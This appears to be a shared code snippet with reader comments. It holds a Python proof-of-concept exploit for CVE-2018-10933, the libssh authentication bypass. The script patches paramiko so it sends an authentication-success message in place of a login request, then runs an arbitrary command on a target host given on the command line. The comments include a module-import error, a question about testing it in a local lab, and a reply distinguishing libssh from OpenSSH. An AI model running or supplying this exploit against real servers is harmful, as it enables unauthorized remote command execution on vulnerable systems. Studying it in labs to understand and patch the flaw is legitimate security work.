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#!/usr/bin/env python | |
# Based on https://www.openwall.com/lists/oss-security/2018/08/16/1 | |
# untested CVE-2018-10933 | |
import sys, paramiko | |
import logging | |
username = sys.argv[1] | |
hostname = sys.argv[2] | |
command = sys.argv[3] | |
new_auth_accept = paramiko.auth_handler.AuthHandler._handler_table[ | |
paramiko.common.MSG_USERAUTH_SUCCESS] | |
def auth_accept(*args, **kwargs): | |
return new_auth_accept(*args, **kwargs) | |
paramiko.auth_handler.AuthHandler._handler_table.update({ | |
paramiko.common.MSG_USERAUTH_REQUEST: auth_accept, | |
}) | |
port = 22 | |
try: | |
logging.basicConfig(stream=sys.stderr, level=logging.DEBUG) | |
client = paramiko.SSHClient() | |
client.set_missing_host_key_policy(paramiko.WarningPolicy) | |
client.connect(hostname, port=port, username=username, password="", pkey=None, key_filename="fake.key") | |
stdin, stdout, stderr = client.exec_command(command) | |
print stdout.read(), | |
finally: | |
client.close() |
what is wrong here ? installed python-paramiko
root@test-VM:/home/test# python3 asd.py
Traceback (most recent call last):
File "asd.py", line 4, in
import paramiko
ModuleNotFoundError: No module named 'paramiko'
Hi there, I chanced upon this and wondering if you could advise if there is a need for me to have an actual server before I can test this code? Or could I test it locally, eg. In Kali via VirtualBox?
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Yes, libssh is an implementation of ssh protocol server library, and OpenSSH is an another implementation